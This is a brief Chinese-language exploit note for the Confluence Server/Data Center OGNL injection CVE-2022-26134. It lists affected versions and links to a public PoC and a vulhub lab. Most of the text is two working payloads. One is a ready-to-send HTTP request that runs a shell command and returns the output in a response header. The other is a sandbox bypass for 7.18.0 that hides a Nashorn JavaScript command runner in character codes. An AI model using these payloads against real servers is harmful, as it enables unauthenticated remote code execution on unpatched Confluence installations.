简介

Confluence是一个专业的企业知识管理与协同软件，也可以用于构建企业wiki。使用简单，可以用于企业团队共享信息、文档协作、集体讨论，信息推送。

影响版本

  • 1.3.0 <= Confluence Server and Data Center < 7.4.17
  • 7.13.0 <= Confluence Server and Data Center < 7.13.7
  • 7.14.0 <= Confluence Server and Data Center < 7.14.3
  • 7.15.0 <= Confluence Server and Data Center < 7.15.2
  • 7.16.0 <= Confluence Server and Data Center < 7.16.4
  • 7.17.0 <= Confluence Server and Data Center < 7.17.4
  • 7.18.0 <= Confluence Server and Data Center < 7.18.1

Payload

1
2
3
4
5
6
7
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

image-20220606112744509

绕过高版本沙箱

版本：7.18.0

payload:

1
${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-CMD",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))"))}

参考

https://github.com/Nwqda/CVE-2022-26134

https://github.com/vulhub/vulhub/blob/master/confluence/CVE-2022-26134/README.zh-cn.md